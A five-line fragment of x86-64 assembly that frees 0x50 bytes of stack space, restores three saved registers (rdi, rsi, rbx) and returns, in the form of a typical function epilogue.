add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret